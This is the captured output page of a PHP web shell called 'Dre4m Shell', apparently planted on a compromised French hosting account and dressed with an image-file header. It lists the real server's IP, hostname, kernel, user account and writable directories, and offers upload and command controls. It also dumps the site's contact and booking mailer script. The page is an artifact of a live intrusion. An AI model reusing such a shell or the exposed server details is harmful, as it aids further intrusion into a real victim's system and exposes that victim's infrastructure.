ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/lespotdulinge.fr/rappel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/lespotdulinge.fr/rappel/submit.php
<?php

/* config start */

require('../includes/webzone.php');
$list = get_select(array('table'=>'info', 'where1'=>'id', 'where2'=>'1'));
$email_rappel = $list[0]['email_rappel'];
$email_contact = $list[0]['email_contact'];
$company = $list[0]['company'];
$url = $list[0]['url'];

/* config end */


require "phpmailer/class.phpmailer.php";


foreach($_POST as $k=>$v)
{
	if(ini_get('magic_quotes_gpc'))
	$_POST[$k]=stripslashes($_POST[$k]);
	
	$_POST[$k]=htmlspecialchars(strip_tags($_POST[$k]));
}

$mail = new PHPMailer();
$mail->IsMail();

switch ($_POST['from']) {
	case 'rappel':
		$msg=
		'Vous avez re&ccedil;u une demande de rappel depuis le site '.$url.' :<br /><br />
		<b>Nom / Pr&eacute;nom :</b>	' . $_POST['name'].'<br />
		<b>T&eacute;l&eacute;phone :</b>	' . $_POST['telephone'];

		$mail->AddReplyTo($email_rappel, $company);
		$mail->AddAddress($email_rappel);
		$mail->SetFrom($email_rappel, $company);
		$mail->Subject = "Demande de rappel depuis ".$url."";
		break;
	
	case 'booking':
        $en_tete = '<br><br>' .
			'<b>Nom :</b> ' . $_POST['nom'] . '<br>' . 
			'<b>E-mail :</b> ' . $_POST['email'] . '<br>' . 
			'<b>T&eacute;l&eacute;phone :</b> ' . $_POST['telephone'] . '<br>' . 
			'<b>Adresse :</b> ' . $_POST['adresse'] . ' ' . $_POST['code'] . ' ' . $_POST['ville'] . '<br><br>';

        $corps = 'R&eacute;servation pour ' . $_POST['adultes'] . ' adultes, ';
        if($_POST['enfants'] != 0) {
			$corps .= $_POST['enfants'] . ' enfants, ';
        }
        if($_POST['animaux']) {
			$corps .= 'avec des animaux de compagnie, ';
        } else {
			$corps .= 'sans animal de compagnie, ';
        }
        $corps .= 'du ' . $_POST['dateDeb'] . ' au ' . $_POST['dateFin'];
        if($_POST['message']) {
			$corps .= '<br><br><b>Message :</b> ' . $_POST['message'];
        }

        $msg = "Demande de r&eacute;servation depuis le site " . $url . $en_tete . $corps;

        $mail2 = new PHPMailer();
		$mail2->IsMail();
		$mail2->AddReplyTo($email_contact, $company);
		$mail2->AddAddress($_POST['email']);
		$mail2->SetFrom($email_contact, $company);
		$mail2->Subject = "Confirmation de votre demande de réservation depuis le site " . $url;
		$mail2->MsgHTML($msg);
		$mail2->Send();

		$mail->AddReplyTo($email_contact, $company);
		$mail->AddAddress($email_contact);
		$mail->SetFrom($email_contact, $company);
		$mail->Subject = "Demande de réservation depuis le site " . $url;
		break;
	
	case 'contact':
		$msg = '<b>Nom pr&eacute;nom :</b> ' . $_POST['nom'] . '<br><b>E-mail</b> : ' . $_POST['email'] . '<br>';
		if(isset($_POST['telephone'])) {
			$msg .= '<b>T&eacute;l&eacute;phone :</b> ' . $_POST['telephone'] . '<br>';
		}
		$msg .= '<br>' .  $_POST['message'];

		if($_POST['confirmation']) {
			$mail2 = new PHPMailer();
			$mail2->IsMail();
			$mail2->AddReplyTo($email_contact, $company);
			$mail2->AddAddress($_POST['email']);
			$mail2->SetFrom($email_contact, $company);
			$mail2->Subject = "Confirmation de votre demande d'information effectuée depuis le site " . $url;
			$mail2->MsgHTML($msg);
			if(!$mail2->Send())
				header('Location: ' . $_SERVER['HTTP_REFERER'] . '?envoi=0');
		}

		$mail->AddReplyTo($email_contact, $company);
		$mail->AddAddress($email_contact);
		$mail->SetFrom($email_contact, $company);
		$mail->Subject = "Demande d'information depuis le site " . $url;
		break;
}

$mail->MsgHTML($msg);


if($mail->Send()) {
	header('Location: ' . $_SERVER['HTTP_REFERER'] . '?envoi=1');
} else {
	header('Location: ' . $_SERVER['HTTP_REFERER'] . '?envoi=0');
}

exit;

function checkEmail($str)
{
	return preg_match("/^[\.A-z0-9_\-\+]+[@][A-z0-9_\-]+([.][A-z0-9_\-]+)+[A-z]{1,4}$/", $str);
}

?>

Anon7 - 2022
AnonSec Team